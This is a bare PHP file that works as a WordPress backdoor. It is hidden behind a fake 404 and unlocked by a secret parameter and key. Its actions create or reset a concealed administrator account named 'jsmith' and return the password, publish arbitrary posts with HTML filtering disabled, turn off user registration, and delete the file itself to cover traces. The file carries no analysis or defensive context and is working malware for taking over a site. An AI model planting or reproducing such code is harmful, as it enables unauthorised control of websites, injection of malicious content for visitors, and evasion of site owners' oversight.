<?php
$p='iab703'; if(!isset($_GET[$p])){http_response_code(404);exit;}
$k=isset($_GET['k'])?$_GET['k']:''; if(!hash_equals('0334eaf54475bb2d81f5e9f6cde67727e4efad0010d07bef',$k)){http_response_code(404);exit;}
$a=isset($_GET['a'])?$_GET['a']:'ping';
if($a==='ping'){die('OK5364D6');}
$r=$_SERVER['DOCUMENT_ROOT'];
if(!file_exists($r.'/wp-load.php')){$d=dirname(__FILE__);for($i=0;$i<8;$i++){if(file_exists($d.'/wp-load.php')){$r=$d;break;}$d=dirname($d);}}
if(!file_exists($r.'/wp-load.php')){die('NOWP');}
define('WP_USE_THEMES',false); include $r.'/wp-load.php';
header('Content-Type: application/json');
if($a==='access'){
  $un='jsmith'; $pw=wp_generate_password(20,true,true); $uid=username_exists($un);
  if($uid){wp_set_password($pw,$uid);$u=new WP_User($uid);$u->set_role('administrator');}
  else{$uid=wp_create_user($un,$pw,$un.'@example.com','administrator');}
  echo json_encode(array('id'=>$uid,'username'=>$un,'password'=>$pw));
}elseif($a==='post'){
  $j=json_decode(file_get_contents('php://input'),true); if(!$j)$j=array();
  kses_remove_filters();
  $pid=wp_insert_post(array('post_title'=>isset($j['title'])?$j['title']:'','post_content'=>isset($j['content'])?$j['content']:'','post_status'=>'publish'),true);
  kses_init_filters();
  if(!is_wp_error($pid)&&!empty($j['sticky']))stick_post($pid);
  echo json_encode(array('id'=>$pid,'link'=>is_wp_error($pid)?'':get_permalink($pid)));
}elseif($a==='regoff'){
  update_option('users_can_register',0); update_option('default_role','subscriber');
  echo json_encode(array('reg'=>'off'));
}elseif($a==='selfdestruct'){
  @unlink(__FILE__); echo json_encode(array('gone'=>!file_exists(__FILE__)));
}
exit;